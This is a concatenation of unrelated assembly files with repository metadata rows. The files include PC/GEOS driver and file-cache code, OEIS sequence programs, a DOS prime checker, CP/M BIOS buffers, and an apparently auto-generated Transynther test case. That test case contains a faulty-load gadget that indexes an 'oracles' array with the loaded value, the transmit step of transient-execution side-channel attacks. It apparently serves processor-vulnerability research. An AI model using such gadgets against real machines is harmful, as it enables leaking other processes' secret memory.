COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SetDevicePalette
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Set the actual device palette
CALLED BY: INTERNAL
VidSetPalette
PASS: palCurRGBValues buffer up to date
RETURN: nothing
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jim 10/15/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SetDevicePalette proc near
.enter
.leave
ret
SetDevicePalette endp
| 26.666667 | 79 | 0.547727 | [
"Apache-2.0"
] | BOBBYWY/pcgeos | Driver/Video/Dumb/DumbCom/dumbcomColor.asm | 1,760 | Assembly |
; A163810: Expansion of (1 - x) * (1 - x^2) * (1 - x^3) / (1 - x^6) in powers of x.
; 1,-1,-1,0,1,1,0,-1,-1,0,1,1,0,-1,-1,0,1,1,0,-1,-1,0,1,1,0,-1,-1,0,1,1,0,-1,-1,0,1,1,0,-1,-1,0,1,1,0,-1,-1,0,1,1,0,-1,-1,0,1,1,0,-1,-1,0,1,1,0,-1,-1,0,1,1,0,-1,-1,0,1,1,0,-1,-1,0,1,1,0,-1,-1,0,1,1,0,-1,-1,0,1,1,0,-1,-1,0,1,1,0,-1,-1,0,1,1,0,-1,-1,0,1,1,0,-1,-1,0,1,1,0,-1,-1,0,1,1,0,-1,-1,0,1,1,0,-1,-1,0,1,1,0,-1,-1,0,1,1,0,-1,-1,0,1,1,0,-1,-1,0,1,1,0,-1,-1,0,1,1,0,-1,-1,0,1,1,0,-1,-1,0,1,1,0,-1,-1,0,1,1,0,-1,-1,0,1,1,0,-1,-1,0,1,1,0,-1,-1,0,1,1,0,-1,-1,0,1,1,0,-1,-1,0,1,1,0,-1,-1,0,1,1,0,-1,-1,0,1,1,0,-1,-1,0,1,1,0,-1,-1,0,1,1,0,-1,-1,0,1,1,0,-1,-1,0,1,1,0,-1,-1,0,1,1,0,-1,-1,0
mov $2,$0
sub $0,$0
mov $1,2
lpb $2,1
sub $0,$1
add $3,$0
mov $1,$3
sub $2,1
lpe
div $1,2
| 54.928571 | 585 | 0.439532 | [
"Apache-2.0"
] | karttu/loda | programs/oeis/163/A163810.asm | 769 | Assembly |
.model small
.data
msg_1 db 10,13,'Enter a 8 bit number: $'
num db ?
msg_prime db 10,13,'This number is prime!$'
msg_nprime db 10,13,'This number is not a prime$'
.code
mov AX,@data
mov DS,AX
lea dx,msg_1 ;Display message
call printf
call read_8bit ;reading 8 bit number
mov cl,num ;counter as num-1
dec cl
loop1: ;for(i=num-1; i>=1; i--)
cmp cl,01h ;if i == 1 return as prime
JE Prime
mov ax,0000h
mov al,num
div cl ;num/i
cmp ah,00h ;if num%i == 0 return not a prime
JE Not_Prime
loop loop1
Prime:
lea dx,msg_prime
jmp exit
Not_Prime:
lea DX,msg_nprime
exit:
call printf
mov AH,4Ch
int 21h
;procedure to read 8 bit number
read_8bit proc near
mov AH,01h ;reading 1st nibble
int 21h
sub AL,30h
mov BL,AL
mov AH,01h ;reading 2nd Nibble
int 21h
sub AL,30h
mov AH,BL
AAD ;ASCCI adjust before division
mov num,AL
ret
read_8bit endp
;procedure to print string
printf proc near
mov ah,09h
int 21h
ret
printf endp
end | 15.380952 | 49 | 0.69969 | [
"MIT"
] | IshanSinghal/CSE-Lab-Manual | IV Semester/Microprocessor_and_Microcontroller_Lab/Part-A/3A_Prime_Or_Not/3A.asm | 969 | Assembly |
.global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r9
push %rbp
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_WC_ht+0x3e1b, %rsi
lea addresses_D_ht+0xe26d, %rdi
nop
nop
nop
nop
nop
xor $59720, %r9
mov $85, %rcx
rep movsb
nop
nop
nop
nop
nop
sub %rbp, %rbp
lea addresses_D_ht+0x13ddb, %r11
nop
nop
nop
nop
xor $50153, %rsi
mov (%r11), %r9
nop
and $56189, %rdi
lea addresses_UC_ht+0x1bf6f, %r11
nop
nop
nop
nop
add $62872, %rbp
movl $0x61626364, (%r11)
nop
nop
nop
xor $25130, %rsi
lea addresses_WC_ht+0x1251b, %rsi
lea addresses_D_ht+0x4407, %rdi
clflush (%rsi)
nop
add %rbx, %rbx
mov $122, %rcx
rep movsw
nop
nop
sub %rcx, %rcx
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %rbp
pop %r9
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r13
push %r14
push %rcx
push %rdi
push %rdx
push %rsi
// REPMOV
lea addresses_PSE+0x941b, %rsi
lea addresses_PSE+0x941b, %rdi
nop
nop
nop
nop
nop
add %rdx, %rdx
mov $43, %rcx
rep movsb
nop
nop
nop
nop
nop
xor $24879, %rsi
// Load
lea addresses_UC+0x18c1b, %rdx
sub $64765, %r13
mov (%rdx), %di
nop
sub $16734, %rcx
// Faulty Load
lea addresses_PSE+0x941b, %r13
nop
nop
nop
nop
add $36726, %rcx
mov (%r13), %rdx
lea oracles, %r13
and $0xff, %rdx
shlq $12, %rdx
mov (%r13,%rdx,1), %rdx
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %r14
pop %r13
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_PSE', 'AVXalign': False, 'congruent': 0, 'size': 2, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_PSE', 'congruent': 0, 'same': True}, 'dst': {'type': 'addresses_PSE', 'congruent': 0, 'same': True}}
{'OP': 'LOAD', 'src': {'type': 'addresses_UC', 'AVXalign': True, 'congruent': 10, 'size': 2, 'same': False, 'NT': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_PSE', 'AVXalign': False, 'congruent': 0, 'size': 8, 'same': True, 'NT': False}}
<gen_prepare_buffer>
{'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 9, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 1, 'same': True}}
{'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 4, 'size': 8, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'AVXalign': False, 'congruent': 2, 'size': 4, 'same': True, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 8, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 2, 'same': False}}
{'33': 21829}
33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33
*/
| 39.832117 | 2,999 | 0.659337 | [
"MIT"
] | danielmgmi/medusa | Transynther/_processed/NONE/_xt_/i7-7700_9_0x48.log_21829_1514.asm | 5,457 | Assembly |
; A130151: Period 6: repeat [1, 1, 1, -1, -1, -1].
; 1,1,1,-1,-1,-1,1,1,1,-1,-1,-1,1,1,1,-1,-1,-1,1,1,1,-1,-1,-1,1,1,1,-1,-1,-1,1,1,1,-1,-1,-1,1,1,1,-1,-1,-1,1,1,1,-1,-1,-1,1,1,1,-1,-1,-1,1,1,1,-1,-1,-1,1,1,1,-1,-1,-1,1,1,1,-1,-1,-1,1,1,1,-1,-1,-1,1,1,1,-1,-1,-1,1,1,1,-1,-1,-1,1,1,1,-1,-1,-1,1,1,1,-1
div $0,3
mov $1,-1
pow $1,$0
mov $0,$1
| 42.75 | 250 | 0.426901 | [
"Apache-2.0"
] | ckrause/cm | programs/oeis/130/A130151.asm | 342 | Assembly |
;------------------------------------------------------------------------------
; BIOS disk buffer areas
; CSV scratch pad area used for software check for changed disks.
; CKS = (DRM + 1)/4, where DRM is the last directory entry number
; ALV scratch pad area used by the BDOS to keep disk storage allocation information
; (DSM/8) + 1
;------------------------------------------------------------------------------
;
HSTBUF: ds HSTSIZ ; HOST BUFFER
DIRBUF: ds 128 ; DIR BUFFER
;
if (Floppy==360)
ALV0: ds 23 ; disk A: allocation vector
CSV0: ds 16 ; disk A: directory checksum
ALV1: ds 23 ; disk B: allocation vector
CSV1: ds 16 ; disk B: directory checksum
elseif (Floppy==720)
ALV0: ds 46 ; disk A: allocation vector
CSV0: ds 16 ; disk A: directory checksum
ALV1: ds 46 ; disk B: allocation vector
CSV1: ds 16 ; disk B: directory checksum
elseif (Floppy==120)
ALV0: ds 65 ; disk A: allocation vector
CSV0: ds 32 ; disk A: directory checksum
ALV1: ds 65 ; disk B: allocation vector
CSV1: ds 32 ; disk B: directory checksum
elseif (Floppy==144)
ALV0: ds 80 ; disk A: allocation vector
CSV0: ds 64 ; disk A: directory checksum
ALV1: ds 80 ; disk B: allocation vector
CSV1: ds 64 ; disk B: directory checksum
elseif (Floppy==100)
ALV0: ds 63 ; disk A: allocation vector
CSV0: ds 32 ; disk A: directory checksum
ALV1: ds 63 ; disk B: allocation vector
CSV1: ds 32 ; disk B: directory checksum
endif
if (Extra==50) ; extra drive C: 1x 500kB 8"
ALV2: ds 32 ; disk C: allocation vector
CSV2: ds 16 ; disk C: directory checksum
elseif (Extra==120)
ALV2: ds 65 ; disk A: allocation vector
CSV2: ds 32 ; disk A: directory checksum
elseif (Extra==144)
ALV2: ds 80 ; disk A: allocation vector
CSV2: ds 64 ; disk A: directory checksum
endif
| 39.061224 | 83 | 0.594044 | [
"Unlicense"
] | ncb85/NCB85V2-BIOS | bios_fdc_30/disk_buffers.asm | 1,914 | Assembly |
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Copyright (c) GeoWorks 1992 -- All Rights Reserved
PROJECT: Database
MODULE: DBCommon
FILE: dbCommonUtil.asm
AUTHOR: Ted H. Kim, 9/14/92
ROUTINES:
Name Description
---- -----------
OutputCacheAttach Attach an output cache to the passed file
OutputCacheWrite Write data to the cache.
OutputCacheFlush Flush out the current contents of the cache
OutputCacheDestroy Nuke the cache (NOTE: This does not flush
the cache -- this should already have been
done)
InputCacheAttach Attach an input cache to the passed file
InputCacheGetChar Read data from the cache
InputCacheUnGetChar Un-read a byte from the cache (can not be
called twice in a row).
InputCacheDestroy Detach an input cache from the passed file
GetMappedRowAndColNumber
Re-orders source fields
REVISION HISTORY:
Name Date Description
---- ---- -----------
ted 9/92 Initial revision
DESCRIPTION:
This file contains all common utility routines for database libraries.
$Id: dbCommonUtil.asm,v 1.1 97/04/07 11:43:21 newdeal Exp $
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
CommonCode segment resource
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
GetDiskClusterSize
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Gets the cluster size of the disk on which the passed file
resides.
CALLED BY: GLOBAL
PASS: bx - file handle
RETURN: nada
DESTROYED: es, dx, cx, di
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
atw 7/15/91 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
MAX_CACHE_SIZE equ 3000 ;Max # bytes we buffer up before
; flushing it do disk.
GetDiskClusterSize proc near uses bp
volumeInfo local DiskInfoStruct
.enter
; GET CLUSTER SIZE, WHICH WE WILL USE AS THE # BYTES OF DATA WE WILL
; CACHE BEFORE WRITING OUT TO DISK
call FileGetDiskHandle ;
segmov es, ss ;
lea di, volumeInfo ;ES:DI <- ptr to dest for
; DiskInfoStruct
call DiskGetVolumeInfo ;AX <- sectors per cluster
EC < ERROR_C -1 >
mov ax, volumeInfo.DIS_blockSize
;blockSize = MIN(MAX_CACHE_SIZE, AX)
; + size OutputCacheInfoBlock
cmp ax, MAX_CACHE_SIZE ;
jb save ;
mov ax, MAX_CACHE_SIZE
save:
.leave
ret
GetDiskClusterSize endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
AllocateCacheBlock
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: This routine allocates a cache block with the passed # extra
bytes at the beginning.
CALLED BY: GLOBAL
PASS: ax - # extra bytes to alloc
bx - file handle to attach cache to
RETURN: bx - cache block handle
es - ptr to block
carry set if memory error (ax = -1)
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
atw 7/15/91 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
AllocateCacheBlock proc near uses ax, cx, dx, bp, di
extraBytes local word
fileHan local hptr
.enter
mov extraBytes,ax
mov fileHan, bx ;
call GetDiskClusterSize ;AX <- cluster size
; ALLOCATE THE CACHE BUFFER
DBCS < shl ax, 1 ;make space for DBCS import >
add ax, extraBytes ;
mov dx, ax ;DX <- blockSize
mov cx, ALLOC_DYNAMIC_LOCK ;
call MemAlloc ;BX <- cache handle, AX <- segment
jc exit ;Exit if we couldn't allocate memory
; SETUP CACHE BUFFER INFO
mov es, ax
mov es:[CIB_size], dx ;Save cluster size
DBCS < mov es:[CIB_maxSize], dx ;Save cluster size >
mov dx, fileHan ;Save associated file handle
mov es:[CIB_file], dx
mov dx, extraBytes
mov es:[CIB_offset], dx ;Save offset
exit:
.leave
ret
AllocateCacheBlock endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
OutputCacheAttach
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Attaches a cache that buffers up writes to a file.
CALLED BY: GLOBAL
PASS: bx - file to attach cache to
RETURN: bx - cache handle to pass to cache routines
carry set if couldn't allocate cache
DESTROYED: es
PSEUDO CODE/STRATEGY:
This page intentionally left blank
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
atw 6/26/91 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
OutputCacheAttach proc far
.enter
mov ax, size OutputCacheInfoBlock ;
call AllocateCacheBlock
.leave
ret
OutputCacheAttach endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
OutputCacheWrite
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: This code writes the data to/through the cache.
CALLED BY: GLOBAL
PASS: bx - cache handle
cx - number of chars to write
ds:dx - buffer from which to write
RETURN: carry set if error
ax - FileErrors (or unchanged if no error)
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
This page intentionally left blank
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
atw 6/26/91 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
OutputCacheWrite proc far uses es, cx, si, di
.enter
push ax
call MemDerefES
EC < tst es:[CIB_file] >
EC < ERROR_Z OUTPUT_CACHE_ROUTINE_CALLED_AFTER_ERROR_RETURNED >
cacheLoopTop:
jcxz noErrorExit ;Exit if no bytes left to
; flush.
DBCS < ; Convert # of Chars to # of bytes at first >
DBCS < shl cx ;cx <- # bytes to output>
mov ax, es:[CIB_size]
sub ax, es:[CIB_offset] ;AX <- # bytes that can be
; copied into cache before it
; overflows
EC < ERROR_BE CACHE_OFFSET_EXCEEDS_SIZE >
cmp ax, cx ;
jbe nonSimple ;Branch if data won't fit or
; if it fits exactly
; SIMPLE CASE - DATA TO WRITE OUT FITS ENTIRELY IN CACHE, SO JUST COPY
; IT IN.
mov si, dx ;DS:SI <- source
mov di, es:[CIB_offset] ;ES:DI <- dest
shr cx, 1
DBCS <EC ; In DBCS # of bytes should be even >>
DBCS <EC < ERROR_C CACHE_WRITE_BLOCK_IS_NOT_EVEN >>
SBCS < jnc 10$ >
SBCS < movsb >
SBCS <10$: >
rep movsw ;Copy data into cache
mov es:[CIB_offset], di
EC < cmp di, es:[CIB_size] ;Whine if cache full >
EC < ERROR_AE CACHE_OFFSET_EXCEEDS_SIZE >
noErrorExit:
pop ax
clc
exit:
.leave
ret
nonSimple:
; THE DATA WE ARE WRITING OUT WILL FILL THE CACHE, SO FILL THE CACHE,
; FLUSH THE CACHE, AND BRANCH BACK UP.
xchg ax, cx ;AX <- total # bytes to write
; out
;CX <- # bytes to add to cache
sub ax, cx ;AX <- # bytes left to write
; COPY BYTES FROM SOURCE TO FILL CACHE BUFFER
mov si, dx ;DS:SI <- source
mov di, es:[CIB_offset] ;ES:DI <- dest
add es:[CIB_offset], cx ;update CIF_offset
shr cx, 1
DBCS <EC ; In DBCS # of bytes should be even >>
DBCS <EC < ERROR_C CACHE_WRITE_BLOCK_IS_NOT_EVEN >>
SBCS < jnc 20$ >
SBCS < movsb >
SBCS <20$: >
rep movsw
mov dx, si ;DS:DX <- updated source
xchg cx, ax ;CX <- # bytes left to write
DBCS < shr cx; ;CX <- # chars left >
call OutputCacheFlush ;Flush cache
jnc cacheLoopTop
add sp, size word
stc
jmp exit ;Exit if error flushing cache
OutputCacheWrite endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
OutputCacheFlush
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: This routine flushes the current cache data out to disk
CALLED BY: GLOBAL
PASS: bx - cache handle
RETURN: carry set if error
AX <- unchanged if no error
FileErrors if error
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
This page intentionally left blank
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
atw 6/26/91 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
OutputCacheFlush proc far uses ds, bx, cx, dx, si
.enter
call MemDerefDS
mov bx, ds:[CIB_file]
EC < tst bx >
EC < ERROR_Z OUTPUT_CACHE_ROUTINE_CALLED_AFTER_ERROR_RETURNED >
mov cx, ds:[CIB_offset]
sub cx, size OutputCacheInfoBlock ;CX <- # bytes to write
if DBCS_PCGEOS
push si, di, ax, es, bx
shr cx ;cx <- # chars to convert
EC < ERROR_C CACHE_WRITE_BLOCK_IS_NOT_EVEN ; cx should be even >
segmov es, ds, si
mov di, size OutputCacheInfoBlock ;es:di <- ptr to dest (DOS)
mov si, di ;ds:si <- ptr to src (GEOS)
mov ax, C_PERIOD ;default character
clr dx ;use primary FSD
mov bx, CODE_PAGE_SJIS ;only support SJIS
call LocalGeosToDos ;convert Unicode to SJIS
pop si, di, ax, es, bx
if 0 ;Koji. Why???
dec cx ;cx <- # bytes to write
endif
endif
clc
jcxz exit ;Exit if no data to write
push ax
mov ax, C_NULL ;default character
mov dx, offset OCIB_data ;DS:DX <- data to write out
call FileWrite
mov ds:[CIB_offset], size OutputCacheInfoBlock
pop bx
EC < jnc 10$ >
EC < clr ds:[CIB_file] >
EC <10$: >
jc exit
mov_tr ax, bx ;Restore old value of AX if
; no error
exit:
.leave
ret
OutputCacheFlush endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
OutputCacheDestroy
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Destroy the passed cache.
CALLED BY: GLOBAL
PASS: bx - cache to destroy
RETURN: nada
DESTROYED: nothing (flags preserved)
PSEUDO CODE/STRATEGY:
This page intentionally left blank
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
atw 6/26/91 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
OutputCacheDestroy proc far
pushf
if ERROR_CHECK
push es
call MemDerefES
tst es:[CIB_file] ;Skip check if destroying after error
jz 10$ ; returned.
cmp es:[CIB_offset], size OutputCacheInfoBlock
ERROR_NZ CACHE_NOT_FLUSHED
10$:
pop es
endif
call MemFree
popf
ret
OutputCacheDestroy endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
InputCacheAttach
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Attaches a cache that buffers up writes to a file.
CALLED BY: GLOBAL
PASS: bx - file to attach cache to
RETURN: bx - cache handle to pass to cache routines
carry set if couldn't allocate cache
DESTROYED: es
PSEUDO CODE/STRATEGY:
This page intentionally left blank
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
atw 6/26/91 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
InputCacheAttach proc far
.enter
mov ax, size InputCacheInfoBlock
call AllocateCacheBlock
jc exit
mov es:[ICIB_EOF],0 ;
mov ax, es:[CIB_size] ;
mov es:[CIB_offset], ax ;
exit:
.leave
ret
InputCacheAttach endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
InputCacheGetChar
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: This routine gets a character from the cached file
CALLED BY: GLOBAL
PASS: bx - handle of cache block
RETURN: SBCS al - next char from file (or EOF)
DBCS ax - next char from file (or EOF)
- or -
carry set if error (ax = file error)
DESTROYED: nada
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
atw 7/15/91 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
InputCacheGetChar proc far uses es, cx, di, si
.enter
call MemDerefES
getChar:
mov di, es:[CIB_offset] ;
cmp di, es:[CIB_size] ;Check to see if at end of cached block
; (need to read more from file)
je readFromFile ;Branch if so
EC < ERROR_A READ_BEYOND_CACHE_END >
inc es:[CIB_offset] ;Bump offset to next character
DBCS < inc es:[CIB_offset] ;Bump offset to next character >
LocalGetChar ax, esdi, noAdvance
clc ;Return no error
exit:
.leave
ret
readFromFile:
LocalLoadChar ax, EOF ;
tst es:[ICIB_EOF] ;At end of file?
stc ;
jnz exit ;Exit with EOF character if so...
; READ THE NEXT CLUSTER_SIZE BYTES FROM THE FILE
push bx, ds, dx
SBCS < clr al >
SBCS < mov cx, es:[CIB_size] >
SBCS < sub cx, size InputCacheInfoBlock ;CX <- # bytes to read >
SBCS < mov bx, es:[CIB_file] ;BX <- file to read from>
SBCS < segmov ds, es >
SBCS < mov dx, size InputCacheInfoBlock ;DS:DX <- ptr to put data>
; read data into buffer block
DBCS < mov cx, es:[CIB_maxSize] >
DBCS < sub cx, size InputCacheInfoBlock ;CX <- # bytes to read *2 >
DBCS < shr cx ;cx <- # bytes to read >
DBCS < mov dx, size InputCacheInfoBlock ; >
DBCS < add dx, cx ;ds:dx <- ptr to put data>
DBCS < segmov ds, es, ax ; >
DBCS < clr al ;FileRead flag >
DBCS < mov bx, es:[CIB_file] ;BX <- file to read from>
call FileRead
DBCS < pushf ; save FileRead flags >
DBCS < call ConvertInputCache ; convert dos to geos >
DBCS < jc readError ; something is wrong! >
DBCS < popf >
pop bx, ds, dx;
DBCS < pushf ; save FileRead flags >
mov es:[CIB_offset], size InputCacheInfoBlock
SBCS < jnc getChar ;No errors - get a char from>
; cache.
DBCS < shl cx ;cx <- size of text >
add cx, size InputCacheInfoBlock ;
mov es:[CIB_size], cx ;
DBCS < popf ; restore flags>
DBCS < jnc getChar ; get a char from cache >
mov es:[ICIB_EOF], TRUE ;
cmp ax, ERROR_SHORT_READ_WRITE ;If we have read to end of
; file, branch
je getChar ;
DBCS <readError: >
DBCS < popf ;clean stuck up >
DBCS < pop bx, ds, dx ; >
stc ;Else, some kind of disk error
